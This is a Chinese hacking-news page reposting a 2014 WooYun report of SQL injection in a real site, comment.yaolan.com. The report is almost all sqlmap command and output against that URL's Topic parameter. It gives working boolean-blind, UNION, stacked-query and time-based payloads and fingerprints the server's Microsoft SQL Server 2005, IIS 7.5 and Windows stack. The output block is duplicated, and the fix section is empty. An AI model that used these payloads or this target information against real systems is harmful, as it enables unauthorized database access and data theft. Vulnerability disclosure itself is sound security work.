记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

摇篮分站一处SQL注入

2014-05-22 16:05

sqlmap.py -u "http://comment.yaolan.com/zhuanti/MessageBoard.aspx?Topic=jdx&Color=#008BDC Topic=jdx"



sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: Topic

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: Topic=jdx' AND 6331=6331 AND 'AoOv'='AoOv&Color=



Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: Topic=jdx' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(109)+CHAR(113)

+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(86)+CHAR(67)+CHAR(76)+CHAR(114)+CHAR(69)+CHAR(

108)+CHAR(105)+CHAR(109)+CHAR(113)+CHAR(101)+CHAR(97)+CHAR(114)+CHAR(113),NULL,N

ULL,NULL-- &Color=



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: Topic=jdx'; WAITFOR DELAY '0:0:5'--&Color=



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: Topic=jdx' WAITFOR DELAY '0:0:5'--&Color=

---

[12:38:38] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: Topic

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: Topic=jdx' AND 6331=6331 AND 'AoOv'='AoOv&Color=



Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: Topic=jdx' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(109)+CHAR(113)

+CHAR(113)+CHAR(77)+CHAR(68)+CHAR(86)+CHAR(67)+CHAR(76)+CHAR(114)+CHAR(69)+CHAR(

108)+CHAR(105)+CHAR(109)+CHAR(113)+CHAR(101)+CHAR(97)+CHAR(114)+CHAR(113),NULL,N

ULL,NULL-- &Color=



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: Topic=jdx'; WAITFOR DELAY '0:0:5'--&Color=



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: Topic=jdx' WAITFOR DELAY '0:0:5'--&Color=

---

[12:38:38] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2005



未深入。

修复方案:

知识来源: www.wooyun.org/bugs/wooyun-2014-060300

阅读:67261 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“摇篮分站一处SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云